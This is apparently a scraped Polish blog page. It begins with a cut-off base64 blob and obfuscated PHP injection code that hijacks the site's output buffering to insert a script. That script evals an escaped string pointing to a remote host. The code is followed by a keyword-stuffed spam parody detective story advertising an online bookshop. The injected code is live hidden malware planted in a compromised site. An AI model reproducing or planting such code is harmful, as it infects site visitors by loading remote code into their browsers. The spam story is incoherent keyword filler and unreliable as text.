OSI3MHQiMjBzcmMiM2QiMmYiMmZtYXJ0dSIyMisiMjJ6IjJlY24iMmZ2aWQiMmYiM2ZpZCIzZCIyMitqIjJiIjIyIjNlIjNjIjVjIjJmcyI2M3JpIjcwIjc0IjNlIjIyKSIzYiI3ZCc7ZXZhbCh1bmVzY2FwZSh2SlN3LnJlcGxhY2Uod292SywnJScpKSl9KSgvXCIvZyk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('##is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('# '))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i Biznes informacje » 2011 » wrzesień

Wpisy z wrzesień, 2011

Księgarnia internetowa

Księgarnia internetowa… Powierzchnia którą widział była brudna i pokryta obrzydliwie szarą pajęczyną. Smętne oświetlenie odsłaniało pomieszczenie ani duże, ani małe. Normalny widok w centrum miasta. Jak to bywa w takich przypadkach nie wszystko było jak z obrazka. Najgorszy był obrzydliwy fetor, nie to było jednak najgorsze. …Księgarnia internetowa… Zduński zacisnął szczęki. Nie pomoże, nic nie pomoże przemknęło mu przez głowę. Istotnie wymiociny wypełniły mu usta. Już miał się poddać gdy przypomniał sobie o małej buteleczce w kieszeni surduta. Nic nie podnosi tak morale - leczy i bawi. Ta księgarnia internetowa zaprzątała jego umysł już dłuższy czas. Człowiek, który dostarczał mu wieści od ludzi z miasta, stary pijus spod 13 dał mu cynk o sprawie. Zmywam się, oznajmił krótko. Policjant zaklął. Domyślił się co trapi kapusia. Wiedział już wszystko. Ten dzień musiał w końcu nadejść. Stary pijaczyna kilka lata donosił na starych kumpli i wystawił kilku ważnych kolesi. Najokrutniejszy był podobny do mnicha.

Był kiedyś w Legii Cudzoziemskiej, następnie sprzedawał bimber na wesela. dzięki reformom Balcerowicza przerzucił się na książki. Prowadził skup makulatury. Pod przykrywką uczciwego przedsiębiorcy czaił się groźny typ , który był gotów zabić. Teraz, kiedy Parówa siedział cała ekipa szukała tomów, które podobno zniknęły. Oficjalnie zostały spalone, ale komisarz znał prawdę. Niestety na pierwszym planie majaczyła się przygnieciona regałem sylwetka informatora. Lecz oczy Komisarza zobaczyły Zmierzch Cesarstwa Rzymskiego pierwszą samodzielnie przeczytaną lekturę. Płócienna okładka odrzucała szarością, jednak Komisarz nie mógł się powstrzymać i odruchowo zaczął kartkować pierwszy tom. Żarliwie przeglądał lekturę i nagle przypomniał sobie po co właściwie tu jest. Księgarnia internetowa, to były ostatnie słowa Nowaka rzucone do telefonu. Temat nie był bez znaczenia zwłaszcza dla MSWiA, a cóż dopiero dla komisarza, który całe życie poświęcił pracy. I oto leżał przed nim Nowak.

Ciało wyglądało na poparzone. Czy zdążyłem by zabezpieczyć materiały rozszczepiane, pomyślał? Pewnie nic się nie da zrobić, więc umrę tu. Jednak gorzka żołądkowa dodaje również odwagi więc szybko przestał się martwić. Taka cicha księgarnia internetowa… Jego uwadze nie umknęło ostre narzędzie wystające z ciała informatora. Jednak do nie uran, westchnął. Zapragnął jeszcze jednego łyka z butelczyny, ale nie zdążył, bo ujrzał zwierze, które wyglądało jak wielki szczur. To było straszne, ale do przyjęcia. Najgorsze miało dopiero stać się i nadeszło niespodziewanie kiedy Szczur wymamrotał: Księgarnia internetowa Migotka zaprasza. Szczur był zabawką tego sklepu. Komisarz niestety nie miał wiedzy z rozpoznania i widok mówiącego gryzonia stał się dla niego pełnym zaskoczeniem. Nieoczekiwanie potwór wyśpiewał "Księgarnia internetowa Migotka zaprasza w rytm muzyki Disco" komisarz śmiał się do łez.

Łzy zmywały mu makijaż, nałożony dwa dni wcześniej podczas gali transwestytów. Wstydliwa inklinacja Zduńskiego blokowała jego awans do czasu gdy okazało się, że jego bezpośredni przełożony cierpi na tą samą chorobę. Komisarz pieczołowicie zebrał odciski z wideł i zabrał się za czytanie kolejnej książki. Nie da się ukryć, że księgarnia internetowa to mój ulubiony sklep przy tej ulicy. Czemu to miejsce jest takie zapuszczone, czyżby nie cieszyło się zainteresowaniem? Zakurzone półki, zabrudzone podłoże i pajęczyny pod sufitem. Nagle tuż przy gryzoniu zauważył wyjątkowo duży komputer. Nagle wszystko stało się jasne. Księgarnia internetowa… Przecież tu nikt nie musiał przychodzić, książki kupowano nie w sklepie a przez stronę www. Zduński wyciągnął swój nowy telefon z ekranem dotykowym. Zebrał się w sobie i wystękał Księgarnia internetowa przyślijcie chłopaków… i… trumnę. Sięgnął do flaszeczki. Przechylił do ust i zamyślił się głęboko. Księgarnia internetowa dalej skrywała swoją tajemnicę, ale komisarz był pewien, że nikt więcej nie zginie. Policyjna ekipa zbada ciało Nowaka, i da mu czas na znalezienie wszystkich brakujących odpowiedzi.